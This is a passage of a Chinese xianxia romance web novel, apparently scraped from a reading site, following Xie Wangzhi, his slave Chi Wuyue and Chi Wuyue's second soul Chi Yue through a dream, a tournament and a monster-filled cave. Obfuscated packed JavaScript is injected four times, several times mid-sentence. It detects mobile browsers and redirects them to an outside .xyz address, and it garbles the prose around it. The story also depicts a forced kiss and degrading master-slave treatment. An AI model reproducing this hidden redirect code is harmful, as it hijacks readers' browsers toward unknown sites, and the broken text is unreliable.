像是身上缠了难解的水草,鞋履踏进软烂的泥。幽暗粘稠,仿佛能在身上留下湿润触感。连掐着他下颌的手指都如水一般冰凉。 “你是谁?” 他嫌恶撇过头,冷淡睨了对方一眼。仿佛并不是被人掐着下颌抬起头,被迫承接侵犯目光,而是从天边投下视线,冰冷,清明,遥不可及。 未想只是这一个简单举动,便让人发了疯。 来人忽然发笑,手指强硬箍着他。指尖沿着下颌缓慢往上细细摩挲,冰凉指腹轻掠过他的侧脸、耳垂,按在他的脑后,手指嵌入他的乌发。 随即猛地收拢五指,抓着他的头发往下扯,迫使他后仰脖颈,抬头正视对方,无法移开视线。 似乎如此才算满意,对方轻笑了声,忽然献宝似的,另手在他眼前摊开掌心:“你看,这是什么?” 一阵华光闪过,只见对方手中出现一块石头模样的事物。 有棱有角,晶莹剔透,周身散出一团乳白光晕,霜寒之气扑面而来,凛冽刺骨,趋人退避。 却更有一种难以形容的亲切感,比血脉相连更紧密。浑身血液都因此变得躁动,似乎是在热切地唤它回来。 它是谢妄之腰骨上的空缺。没了它,谢妄之自此沦为残废,再直不起腰。 见状,谢妄之瞳孔骤缩,呼吸一下粗重。 “……是我的剑骨。”他闭目深吸了口气,嗓音艰涩开口,“哪里来的?” “呵,哪里来的?”对方又笑,却满是嘲讽意味,“自然是从你曾经养的狗,池无月那里弄来的啊。” “……”谢妄之蹙紧眉。 对方续道:“你可知晓,池无月现在是修仙界首屈一指的剑道魁首,多得是人巴结他,风头更胜你当年。有人把你的剑骨送他,他嫌晦气,转头就丢了,幸亏被我捡到。 “谁想得到,当年只有张脸能看的池无月,现在那么厉害。而你呢?亏你当年那么宠着他,还亲自教他剑法。呵,真是养了条白眼狼啊。” “……你到底想说什么?”谢妄之沉声开口,神色并无起伏,掌心却掐得快烂。 对方又向他倾身凑近,双膝都跪在地上,近得唇齿开合间的温热吐息都落在他脸上:“我会把剑骨还给你。我与他不同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方怔愣一瞬,随即大笑起来,并不挣扎,还愈笑愈欢,状似癫狂。 “闭嘴!” 谢妄之听不清对方到底在说什么,耳畔的声音似是浸入水中,听不真切,只觉头疼欲裂,几乎全凭本能地用力掐着对方的脖颈。 眼前视野忽然天旋地转,本该早就毒发身亡的人竟翻身将他压住,俯身攫住他的唇,像狗一样发疯地舔舐啃咬。 谢妄之不断收拢五指,疯狂挣扎,最后竟从梦中惊醒,一下坐起身,见到熟悉环境才稍稍安定,仍是浑身汗湿,胸膛剧烈起伏。 垂下的幔帐之外,立着一个颀长俊秀的身影。见他坐起身,立时撩开幔帐,露出一张艳丽绝尘的脸。 看清那张脸,谢妄之瞳孔骤缩,猛地扬手扇了对方一巴掌:“谁准你进来的,滚出去!” 5. 第 5 章 清脆的巴掌声在屋中回荡,少年被打得偏过头,缓缓转过脸,抬眸看他一眼才垂下头,双手背到身后,低声道:“奴在偏房听见公子的声音,以为公子唤奴。” 说着微微抿了下唇,长睫低垂,脸颊润红,瞧着是一副受了委屈、可怜兮兮的模样。 见状,谢妄之也冷静下来,忍不住伸手轻捏眉心。 他在梦中分明看清了那个人的五官,梦醒后却无论如何都无法在脑中拼凑出一张完整的脸,结果错认成了池无月。 虽是如此,他断不可能向贱奴低头道歉。 他摆了摆手:“没喊你,出去。” 未想到,才乖顺没两日的贱奴又开始忤逆他,竟装作没听见似的,站在原地不动。 他有些恼了,冷笑一声,伸手撩起幔帐下榻,手指轻勾起池无月的下颌,迫使对方昂起头与自己对视。 接着,他故意伸指按在少年的下唇,指腹暧昧地来回摩挲对方的唇瓣,恶劣嘲弄道:“怎么还不走?难不成,自荐枕席来了?” 少年默不作声地与他对视,神色未起波澜,双眸清澈,似不染污浊的飞雪。谢妄之见状,心头忽然涌起一股无名火。 他记得他曾经也这么对待过池无月,那时对方也如现下一般毫无反应,只用这种眼神看他,似听不懂。 经过那个梦,他才知道,原来池无月并非不懂,只是装不懂,还在心里嫌他恶心,知晓他从不屑于强迫,便肆无忌惮利用他的恩宠。 谢妄之微微眯眼,手上加大力道,指腹压得殷唇微微泛白,在即将顶入唇缝之前克制地停住。 随即松开手,像是被什么玷污似的,取出巾帕慢条斯理地擦手,边擦边道:“你这张脸,确实生得不错。可惜——” 他低头专注地擦完,用力将巾帕掷在地上,抬头看向对面,冷笑着续道:“我现在看腻了。给我滚。” * 池无月并未坚持,转身回屋。 周遭再度静谧,连风声都消弭,胸口传来的剧烈心跳却响如雷鸣,白皙脸颊比被巴掌扇过还红,耳尖都烫得灼人。 他伸手抚向自己胸口用力下按,想令这颗躁动的心平息。被谢妄之触过的下颌与唇瓣却酥麻不止,令他浑身发热发颤。只要一闭上眼,他的脑中便现出谢妄之的身影。 掀开幔帐后,朦胧身影变得清晰。对方惊魂不定地抬眸看来,乌发披散,浑身汗湿。雪色寝衣松散微敞,被洇湿得半透,大片胸膛露出,肌理紧致分明,被汗水润湿,流淌着蜜一样的光泽。 平日高高在上的人,陡然受了惊吓,露出一瞬的脆弱,随即恼羞成怒地扬手,表情比过去任何时刻都要生动鲜活。 仅是惊鸿一瞥,便镌刻在他的脑中,被他擅自描摹刻画,愈加清晰具体。 一如他的梦中。 方才,他做了梦。他梦见自己变成了另一个人。 而谢妄之的声音将他惊醒,他下意识去确认梦境真伪。 分明已回到现实,梦境中另一人的情感却仍残留。 * 个人赛期限三日,之后便是团体赛,为期半月,内容是自行组队进入秘境讨伐妖兽,以战利品的价值计算得分。 谢妄之打完比赛后歇了两日,虽然并不打算参与团体赛,但毕竟演武比赛由自家兄长主持,他再是犯懒,总归得去走个过场,不然面上不好说。 各世家弟子们坐在台下听谢霁例行发言,之后便是寻找队友的环节。 谢妄之特意避开人群,坐在角落,百无聊赖地指使池无月一会儿给他倒茶,一会儿给他剥水果,心里计算着何时开溜。 正吃进一颗浆果,身边忽然坐下一人:“谢兄,原来你在这里。” “崔岫?”谢妄之闻声抬头,却见是曾与他交手过的崔岫,猜测对方是来找他组队的,便又把脸转回去,“找我做什么?” “太好了,谢兄,你还记得我。” 少年双目一亮,双手将椅子拉近了些,坐在他身边。看了眼正给他剥水果的池无月,竟取出巾帕仔细把手擦净,学着池无月的模样,一起给他剥水果,把剥好的果肉放进摆在他面前的碟子里。 见状,谢妄之不由怔了一下,有些忍俊不禁,勾唇调侃:“我当是做什么呢,原是来抢我家小奴隶的活儿。” “……”池无月动作微顿,又默不作声地继续,往谢妄之的碟子里又放了一颗剥好的浆果。 他动作娴熟,果皮剥得干干净净,刚放进碟子里的那颗果肉饱满完整,晶莹剔透,一看就很有食欲,与边上那颗剥得坑坑洼洼的有如天壤之别。 “谢兄。”崔岫并未注意这些细节,又给谢妄之剥了颗水果,一面剥一面抬头紧张期待地看他,“下一轮比赛你组好队了吗?” 池无月抿起嘴唇,顿了会儿忽然伸过手,把剥好的果肉递到谢妄之唇边:“公子,果碟放不下了。” 嘴唇蓦然传来湿润触感,谢妄之垂眼,只见面前的果肉雪白细腻,晶莹饱满,竟不及捏着它的手指的万分之一。 他顺势望去,正见少年专注地看他,双眸清澈潋滟,见他不肯张嘴,还执拗地伸着手。 而坐在他边上的崔岫还不停给他剥水果,毫无自觉。 “没有,怎么?” 谢妄之忽然起了兴致,单手撑在桌上,懒散支着头,另手接过池无月递过来的水果,随手放进快满到溢出的果碟,而后绕过一颗剥得干净漂亮的,拣起一个剥得坑坑洼洼的放进嘴里。 “……”池无月抿紧嘴唇。 而崔岫立刻道:“那太好了,带我一个呗!” “好啊。” 谢妄之微笑开口,眼见崔岫高兴得快从椅子上蹦起来,还没来得及向人解释他不参与团体赛,忽有一道尖锐嗓音插话:“哟,这不是谢妄之吗?” 只见先前欺负过池无月的几个少年走近,来回看了看他与崔岫,忽然明白了什么似的,轻蔑道:“我说呢,你怎么可能会赢,原来你们是一伙的。” “怎么?”谢妄之睨了对方一眼,神色毫无起伏,“本公子魅力太大,手下败将折服于我,有何稀奇的?倒是你,人见人厌。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596427|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就是,谢兄可厉害了!”崔岫在一旁连连点头附和。 “我呸!谢妄之你别得意!”那裴姓子弟脸上青红交错,啐了一口,满脸愤愤不平,“谁知道你的九连胜是怎么来的,赢得那么轻松。我兄长那么厉害都没有!该不会是谢霁动了手脚吧?” “呵。”谢妄之冷笑了声,猝然从椅上站起,步步向对方行去,“我自然赢得轻松。若换做是你,不得被打得满地找牙,叫人看笑话,说裴家没人了。” 说着他伸出手,一阵华光闪过,随心剑被他握在手中。他垂眼盯着对方,压低嗓音道:“连你兄长都打不过我,既然你这么怀疑,何不亲自试试?” “你,你……”谢妄之身材高大,不笑时,面容冷峻,瞧着分外凶。那人被他镇住,话都说不利索,怯懦往后退,哆哆嗦嗦指着他,“谢、谢妄之!我是裴家的,你敢动手?” “你觉得我敢不敢?”谢妄之冷笑嘲弄。 “你!哼!咱们团体赛走着瞧!” 早在谢妄之召出本命剑时,他们身边不知不觉间便围了好些人看热闹。看来对方也不想在团体赛前把事情闹大,色厉内荏撂下一句,拉着同伙飞快跑了。 谢妄之顿觉无趣,还有些烦躁,收剑坐回原来的位子上。 他本来不想参加团体赛的,这下好了,他不去就跟怕了他们裴家一样。 他一坐下,崔岫立即又凑上来,跟狗腿子似的,小嘴忒甜:“谢兄,你方才实在太威风了!!” “嗯。小意思。” “他们这么嚣张,我们一定不能输给他们。既然如此,要不咱再多组几个人吧?人多力量大。” “都行,随便你。” 谢妄之正烦着,敷衍点头。唇边忽又递上来一颗晶莹果肉,他低头就着对方的手吃了,也没管是谁喂的。 未想到那水果个头大,果肉饱满,一口咬下去,酸甜汁水在唇齿间爆开,竟不慎溢出嘴角。 他正要拿巾帕去擦,忽有一只手先他一步,动作仔细温柔地擦去他下颌沾染的汁水:“公子吃慢些,若是喜欢,奴再给您剥……别生气了,好不好?” 闻见低软嗓音,谢妄之顺势抬眼,正撞入一双清亮水眸。池无月正神色专注地看他,殷唇微抿起一个讨好的弧度,侧脸的红梅开得正艳。 那张脸,叫人无论如何都无法拒绝。 鬼使神差一般,谢妄之莫名消了气,低低应了声“嗯”。 接着崔岫又拉着他说要找谁组队,说自己在个人赛里遇见几个还不错的对手,已经物色好了人选,但全凭谢妄之点不点头。 谢妄之道:“领我去看看。” 他对自己要求严格,既然决意参赛,说什么也要赢个好名次回来。 于是两人便当真去找队友。 池无月默不作声跟在身后,眼见谢妄之身边围着一个又一个人,不由眯起眼睛。 但到最后他什么都没做,只抬臂用嘴唇轻轻碰了碰自己的手指。 他喂谢妄之吃水果时,对方含过一瞬他的指尖。 6.第 6 章 裴云峰微微眯眼,打量着蹲在河边料理兔子的少年。 一张艳鬼般招人的脸,自雪白侧颈开出一树染血梅花。葱白十指刚从水里伸出,莹润如玉,动作熟稔地拿着一柄匕首割兔子肉。 似是没听见他的话,少年长睫低垂,神色专注。不知是天性如此,还是跟久了谢妄之,把目中无人学了个十成十。 “去。” 裴云峰微抬下颌,边上的少年们立即会意,几个人冲上前去,一个抢过池无月手里的兔子扔掉,剩下两个一左一右架着他的胳膊,强硬把他押到裴云峰跟前。 少年是个硬骨头,任凭身后人如何压迫他的脊背、踢打他的双膝,仍站得笔直,抬眸看来的眼神平静无波,没有丝毫惧怕与恭敬。 裴云峰微微眯眼,伸手掐着池无月的下颌抬起,轻慢随意地左右转着他的脸,哂笑道:“你就是凭着这张脸勾/引谢妄之的吗?” 他左瞧右瞧,实在瞧不出池无月到底哪里讨喜,忽然恍然大悟似的,轻笑补充:“哦,还是你床上功夫了得?” 池无月的神色总算有些波澜,眼神微暗,薄唇紧抿。 裴云峰扫了眼边上微微脸红的几个少年,鼻腔溢出声哼笑,勾唇道:“怎么,你们想试试?” * 河边不远的空地上,几个简陋的帐篷围在一起,中间搭着堆篝火。 谢妄之躺在临时营地的一棵树上,懒散翘着腿,看着远处残阳消尽,星子逐渐亮起。 他来回转着腕上绑缚的红绳,手指摩挲上头精致漂亮的绳结,感应到池无月的位置许久没有动过,忍不住一跃下树,和崔岫交代了声,孤身向着那处行去。 未想到地儿之后,只见河边散落着几只处理一半的兔子,还有被人粗暴拆下,已经断裂的红绳。 他不由蹙眉,发现现场痕迹被人破坏,找不到线索后,心中陡然生出不好的预感,毫不犹豫突破秘境限制,放出神识探查。 不多时,他的唇边滑下一缕殷红,与此同时,半空隐约亮起一道冰蓝色的光路,向着树林的方向绵延,在引他过去。 他顺着冰蓝色的光路往前,见到沿途偶有血迹斑斑,直到看见一人躺在路边不省人事,忙大步过去,把人从地上扶起。 “喂,姓裴的,醒醒!” 看清对方是姓裴的,谢妄之毫不客气地连扇几巴掌,扇得对方脸颊高高肿起,终于硬生生把人弄醒。 哪想到,对方醒来后,第一句便是惊叫道:“有、有妖怪!” 身为修仙者,见到妖物的反应竟与凡人相同,不是平日过得太舒坦,疏于历练,便是惊吓过度,只剩本能。 谢妄之嗤笑,毫不犹豫地又给人扇了一巴掌,蹙眉凶狠道:“没睡醒呢?什么妖怪,给我说清楚。” 但对方只是疯狂摇头,神色惊恐地不停抓挠着自己的头发,把自己的头发抓成鸡窝,还生生扯下好几缕,边抓边喃喃道:“我错了,我不敢了,我什么都不知道……” 见状,谢妄之眉头蹙得更深,心中不好的预感更加强烈,没再管一个疯子,起身继续顺着光路前进。 未想到,没过多久,他竟迎面撞上裴云峰走来,面色惨白如鬼,一手抓着一个家族小辈的腿慢慢往前拖,失了魂似的要从他身边过去。 “站住。” 谢妄之伸手一拦,注意到对方的华贵紫衣似被血液浸染,色泽微深,身上血腥气浓烈,一道细长的冰蓝丝线若隐若现缠着脖颈。 他看见那条蓝线,立时拧眉质问:“你见过池无月?他在哪?” 听到“池无月”这个名字,裴云峰明显有了反应,神色似是嫌恶,又似是惊恐,接着狠狠剜了他一眼,咬牙切齿道:“谢妄之,你知道你养了个什么东西?” “怎么,我养的狗咬你了?”谢妄之冷笑,猛地沉下脸,一把攥起对方的衣领,眼眸微眯,“谁给你的胆子招他?” 裴云峰似是气笑了,猛地拍落他的手,将被揉乱的衣襟重新整理好,冷声嘲弄: “一个奴隶而已,用得着这么上心?你也就是喜欢他那张脸罢了,希望你在知道他是什么东西以后,还能这么喜欢他。言尽于此,告辞。” 说罢,对方狠狠将他一推,重新拉起滑落的腿继续往前。 而谢妄之一头雾水,完全不知道裴云峰在说什么东西。 随即很快意识到,他那日做的有关话本的梦,关于池无月的内容不完整。 他继续顺着空中那条蓝线往前,未想半途蓝线骤然消散。 此时乌云蔽月,四周满是参天古木,竟一丝光线也透不进来。 谢妄之握紧那条断裂红绳,试图再用神识寻找池无月的踪迹。 但他的神识似被一道屏障阻住,刚发散出去立即遭到遏制。 同时,耳畔掠过一阵湿润冰凉的风,似乎有人在他耳边轻轻吹气,细腻柔软的触感轻落在他耳廓,一路往下,滑过脖颈,试图探进他的衣领。 “池无月?” 谢妄之眉心微拧,想到方才裴云峰说的,便试探出声。 下一刻,像是有人攥住了他的咽喉,搂住他的腰,从身后将他拥住,整个人仿佛坠入冬日冰湖,浑身泛冷,叫他禁不住打了个寒战。 他伸手去摸自己的脖颈,只摸到空落落一片,唯肌肤上残留润湿冰凉的触感,令他无端想起那夜的梦。 “池无月,若是你,便自己滚出来。”他有些恼了,竟是像疯子一样对着空气发号施令。 等了片刻,耳边终于传来一声低笑,身上的桎梏愈发紧了,叫他更冷,还有些喘不上气。 对方道:“谢妄之,你叫错我的名字,我生气了。你说,我该怎么罚你?” 分明是池无月的声音,却说自己不是池无月。 “呵,你算什么东西,也配罚我?” 谢妄之嗤笑,又用手去抓缠在身上看不见的东西,却只抓到了空气,不由更加恼火,说话不留情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612281|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 “你想听我叫你什么?贱奴?乖狗?小废物?这样你就满意了?” “嗯,这几个我都喜欢。” 他分明是想羞辱对方,耳畔传来的声音却似裹了蜜一般又甜又软,接着似乎埋头在他侧颈蹭动,像是撒娇,传来微微的酥痒。 谢妄之忍不住偏头避开,正想转身走人,却发现自己被禁锢在原地,四肢动弹不得,不由沉下脸,咬牙切齿道:“你根本不是池无月,你到底是谁?放开我!” “我是池越,笛声清越的越,记住我的名字,下次不许喊错哦。” 对方不肯将他松开,像水草一样将他缠住,自身后将他抱紧,脸颊埋在他后颈蹭动,痴迷狂热地来回嗅着他身上的气息。 感受到冰凉湿润的气流回旋着打在后颈,谢妄之眉头蹙得更深,强自捺下不适,试图从一个疯子口中挖出点有用的东西:“那池无月去哪了?” “他睡着了,现在是我的时间。” “什么意思?” 谢妄之蹙眉追问,对方轻笑一声不愿解释,他只好换了个问题:“方才那些人招惹池无月了么?” “嗯。”对方轻笑了声,“我还什么都没做呢,他们看见我,一个个吓得脸都白了,真有意思。” “那我手里这条红绳怎么断的?” “是他自己弄断的。” “为什么?”谢妄之蹙眉,没察觉到自己得知池无月没事后,竟轻舒了口气。 当然是让你去—— 池越微眯双眼,冷哼了声:“我不知道,你得自己去问他。” “……” 谢妄之没什么想问的了,便沉默下来,猜测池无月大概是类似一体双魂的体质,没再深究,只想回去,却发现自己还是动不了。 他咬牙切齿:“那你到底要做什么?没事就滚。” 对方竟有些委屈:“我没想做什么,我只是想和你待在一起,我好久没和你说话了。” “……” 胸口像是被一根狗尾巴草轻挠了一下,谢妄之冷着脸沉默了会儿,“那你随我回去。现下这般晚了,崔岫他们还在等我,我还没用饭。” “抱歉!!” 未想对方分外好哄,立刻将他松开。谢妄之迅速转身,却连个鬼影都没见着,不由蹙眉道:“你人呢?” 似在纠结,等了会儿,对方才幽幽问:“谢妄之,你不怕我?” “呵,那你怕不怕我的剑?”谢妄之嗤笑,不耐催促,“快点。” 千呼万唤,前头不远处隐约现出道颀长白影。 青丝如瀑披散,垂坠到脚踝。双眸似浓墨晕染,连眼白都侵占。脸侧红梅盛放,更添三分艳色,姝丽诡谲。 也不知如何行走,像鬼魅飘忽,又似蛇类游弋,闪身到他近前,伸手试探着触他的手背。 见他并未躲闪,稍微大胆了些,却也只是轻轻攥住他的指尖,微仰起脸,乖巧道:“那我们走吧?” 7.第 7 章 手指被轻轻牵住,握在冰凉细腻的掌心里,谢妄之顿了顿,到底没抽出来,牵着人往回走。 没感觉到身后人有什么重量,跟牵着魂儿似的,令他愈发好奇池无月究竟是个什么东西。 一路无话,到河边捡起散落的野兔收拾干净,回到营地时,众人已等他们许久,但也没人抱怨。 大概是见两人牵着手回来,池越还披头散发,队里两个男修冲他们暧昧地挤了挤眼睛。崔岫更是笑着揶揄:“我说谢兄怎么去那么久呢,原来你们是幽会去了。” 但其实谢妄之才是被强制轻薄的那位。他冷笑了声,把手里的兔子递过去:“别废话,烤你的兔子去。” 崔岫还没来得及接过兔子,半途给池越截胡了:“谢——公子,让我来吧。” “嗯。” 谢妄之没有异议,冷淡点了下头,接着便甩开池越的手,重新窝回之前躺过的那棵树上,继续闭目假寐。 没等多久,他嗅到一阵诱人香气,是池越将烤好的食物给他送来了。他随手拔了片叶子,指尖一点,那片叶子便迅速变大,似一张矮几浮在两人身侧。对方把吃食都摆了上去,谢妄之扫了眼,不由双目一亮。 有烤兔头、山鸡腿和野猪排,外皮烤至微焦,溢出些许金黄汁水,撒了足够多的香料,气味辛辣刺激,正合他的胃口。还有几株串得整整齐齐的青翠野菜,一盘洗得干干净净、色泽艳丽的野果。 而池越跪坐在他对面,双手乖巧放在膝上,微抿着唇看他,双目一片漆黑,却叫人硬生生瞧出几分讨要夸赞的意思。 谢妄之瞥了眼对面,忍不住微微勾唇,随手拿了串烤肉喂到人嘴边,“池无月会的,你都会么?” 大概是不喜欢从他嘴里听到“别人”的名字,池越沉下脸,接过他递的烤肉狠狠咬了一口,喉里“嗯”了一声。 “你们是一体双魂?从小便这样么?他做的事,你都知道?” 谢妄之边吃边问,池越却不肯回答,故意把脸转向别侧,从鼻腔溢出声冷哼。 “呵,还生气了?”谢妄之哂笑。 贱奴凭什么敢给他甩脸色?不答就不答,他也不是非要知道。之后谢妄之便专心吃自己的饭。 直到一顿饭快用完,池越忍不住悄悄侧过脸看谢妄之,见人一点反应也没有,捺不住伸手轻扯了下对方的衣袖,有些委屈地扁嘴:“谢妄之,你觉得我烤的好吃么?比他如何?” “嗯。”谢妄之应了声,随即故意拿起一颗野果咬了口,“这果子挺好吃的。” “……” 池越垂下头,默不作声地收拾残局,将树叶做的茶几一卷,再一握拳,连同叶子尽数被毁尸灭迹,飘出一缕细细的白烟。 眼见池越要跳下树,谢妄之忽然想起什么,伸腿一拦,从怀里掏出一条红绳掷到对方怀中,“你的,系上。” 少年接在手中,垂着头半晌不动,被谢妄之轻踢了一脚,这才膝行两步凑过来,在他面前挽起衣袖,露出一截霜雪般的手腕。 “谢妄之,帮我系好不好?” 对方抬起头,一张脸艳丽如山中鬼魅,目光却像狗一样湿润殷切,巴巴瞧着他,嗓音温软。 “……” 谢妄之顿了顿,还是将野果叼在嘴中,接过红绳给人系。 但他干不来这种细致活儿,弄半天差点没给自己手指也打个结,头一次觉得自己怎么这么笨。 他嘴里还叼着野果,嘴巴合不拢,时间长了,口涎便从唇角溢出,晶亮的一缕。但他正快要完工,顾不上去擦。 也没注意对面的少年紧盯着他的嘴唇,长睫微垂,漆黑双眸愈加幽暗,喉结上下轻滚。 等他终于系完,伸手把野果取下,不等他取出巾帕擦嘴,眼前陡然笼下一片阴影。 他抬起头,还未及动作,两只手腕忽被少年一把攥住,高举过他头顶,牢牢压在他身后的树干上。 紧接着,对方的脸在眼前迅速放大,下颌传来柔软湿润的触感。 谢妄之瞳孔骤缩,惊怒交加,猛然挣扎起来,咬牙斥道:“放肆!” 未想到少年瞧着并不十分健硕,手劲倒是出奇大,十指嵌入他的指缝,用力攥紧,身躯紧压过来,令他动弹不得。 等他唇边那缕银丝被舔舐干净,对方竟顺着往上舔舐他的嘴角,甚至不停咬着他的唇瓣,动作急切狂热,喷在脸上的气息也变得炽热紊乱。 “池——” 谢妄之怒不可遏,张口之际,唇齿竟被趁势侵入,莽撞而青涩地攻略追逐。 涎水被贪婪吸食吞咽,肺腑气息也被凶狠掠夺,耳畔充斥着粗重的喘息与粘稠的水声。 直到他濒临窒息,对方才后撤些许,银亮丝线刚在空中架起便断裂。又贴过来,亲昵地用鼻尖蹭他的脸撒娇,微哑着嗓音道:“好甜。” “滚开!” 谢妄之气得发抖,猛然挣开,毫不犹豫地扇了对方一巴掌,胸膛剧烈起伏,脸颊与耳廓却泛起潮红。 对方被他打得偏过头,玉白脸颊很快浮起鲜红掌印,又转过脸看他,漆黑双眸似化散不开的浓墨。 谢妄之对上那眼神,没忍住又给扇了一巴掌。 这次却被人抓住手腕,把脸颊贴上他手心,像粘人的宠物一样蹭他,又亲吻他的手心。 “别碰我!” 眼看自己的手指也要落入虎口,谢妄之忙抽回手来,本要抬腿踹人,也硬生生忍住。 他沉下脸,咬牙切齿道:“滚下去,别让我说第二次。” “你别生气,我错了。” 少年急忙摇头,端正跪在谢妄之身前,表现得好像他才是被欺负的那个,嘴唇微抿,沾着水光,可怜兮兮的模样。 谢妄之气笑了,自己从树上跳下去,回到其余队友身边。 不知他们在干什么,只见众人看向小岚,他也顺势看去。 却见小孩儿身边竟堆了一座小山般的骨头,此时正捧着一只烤得表皮焦红的猪蹄狼吞虎咽,吃得比饿死鬼投胎还急切。 注意到众人都在看自己,小岚抬头环顾四周,放下啃了一半的猪蹄,讪讪一笑:“我、我就是太饿了……” “没事没事,你吃,不够还有。” “谢谢姐姐!” 初晴摆摆手,把自己的肉串递了过去,被对方毫不客气地接过,三两口吃完,都不带嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618131|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 谢妄之根据那些骨头估摸了一下小孩儿的食量,眼眸微眯。 * “公子,当心。” 一处幽暗洞穴中,池无月掌着灵火走在谢妄之前头,遇到陡峭的台阶,下意识回身递出自己的手,想搀扶对方一把。 未想到谢妄之目不斜视地经过他身边,连衣摆都冷漠地避开他。 “……”池无月顿了顿,没说什么,快步跟了上去。 这两日,他发现谢妄之有些许奇怪,会尽量避免与他的肢体接触,偶尔还会用一种复杂的眼神看他。 可他的记忆停留在被裴云峰几人缠住的那一刻,完全不知道后头发生了什么,不理解为什么睡一觉起来,谢妄之对他的态度忽然变了。 在小岚的带领下,他们进入一处洞穴之中,内里空间极大,岩壁潮湿,钟乳石连片,景致蔚为壮观。 越往深处走,光线愈弱,气温也降低到连修者都有些难以忍受的地步。 队里的初晴以医入道,身子骨最弱,最先受不住,不由搓着手掌哈气,白雾模糊了她的面容,颤声问:“小岚,你确定救你爹娘的药材就在这里吗?” “真的真的,难道姐姐不相信我吗?” 小岚被崔岫单臂抱在怀中,不知是崔岫属火灵根,外散的温暖灵气笼罩着她,还是天生不怕冷,模样比初晴镇定得多,接着似是因受到质疑,作势要哭。 “怎么会呢?”不等初晴答话,崔岫连忙拍拍她的脊背安慰,“初晴姐姐只是太冷了,没有怀疑你的意思。” 队里其他人也纷纷附和:“啊对对对,绝对没有怀疑你的意思。” “好、好吧,谢谢哥哥姐姐们。”小岚回过头,眸中笼上一层阴翳。 众人相视一眼,心照不宣地继续往前走,不动声色地戒备四周。 他们跟着小岚的几日,对方总是有意无意将他们往大妖身边引,若不是队里有谢妄之,恐怕众人都不能全须全尾地站在这里,再是傻子都能瞧出不对来。 但他们不能打草惊蛇,毕竟没人瞧出小岚究竟是什么妖,只能走一步看一步。 又下了几级陡峭台阶,眼前现出一道长廊。 两侧石壁愈加潮湿,顶上还会滴水,发出细微的响,在地上积了一滩浑浊的水洼,空气中弥漫着令人作呕的腥臭。 而小岚忽然挣脱下地,一手拽着崔岫的胳膊往前去,另手指向尽头处,模样是按捺不住的兴奋:“快点快点,我爹娘就在里面哦。” “慢些,慢些!” 大概是不屑伪装了,崔岫身长八尺,快二百斤,竟被她拽得踉跄。 众人只得跟着往前,只见尽头处是一间宽敞石室,里头竟陈列着数十副石棺。 但棺材板并未盖紧,歪歪斜斜,露出足够宽敞的部分,像是里头会有什么东西爬出来。 而最前方的小岚终于停下,身体不动,头颅却转向身后,脖颈扭出数道肉褶。 她微笑起来,两只乌黑眼珠毫无规则地乱转,嘴角咧到耳侧,喉里发出一阵刺耳的嘶声。 紧接着,周遭响起石板摩擦碰撞的声响。 是棺盖被推动的声音。 8.第 8 章 众人闻声侧头,只见石棺中伸出一只只皮肉瘦削的青紫色人手,似中毒般指甲漆黑锐利,用力扒着石棺边缘。 随后,棺盖轰隆落地,里头的“尸体”一个个坐起身,齐刷刷转向他们。 面色惨白,五官模糊溃烂,数不清的蛆虫自脸上的孔洞钻进钻出,脖颈青筋暴突,扭出数道肉褶。 而小岚飞上半空,两条麻花辫自动解开,头发不断生长,凌空乱舞,本是凡人之躯,此刻周身妖气浓烈暴动。 它放声大笑起来,声音尖锐,似能穿破耳膜:“好哥哥好姐姐们,我的‘爹娘’快要死了,求你们救一救吧!” 话音未落,不等他们反应,尸体们迅速爬出棺材,猛地向他们飞扑。与此同时,石室角落钻出毒虫,潮水般汹涌,密密麻麻一片。 什么这里有药材,他们才是药材! “小心!” 众人纷纷召出武器,戒备退后,但魔音穿耳之下只觉头疼欲裂,灵力运转更加滞涩,失了先机。 谢妄之眉目一凛,出手如电,一圈寒芒闪过众人身侧,离他们最近的尸体当场被斩下双手,紫黑色的液体喷溅半空。 随后,只闻见铮然琴声响起,空气猛然荡开一圈无形涟漪,队中女修抱琴在怀,素手弹拨,几下便破了小岚的魔音障。 众人只觉耳畔恢复清明,甚至获得某种增益加持,很快恢复战力,与再度扑向近前的邪物厮杀在一处。 而谢妄之瞅准小岚,身影如虹闪至对方身侧,提剑便刺! 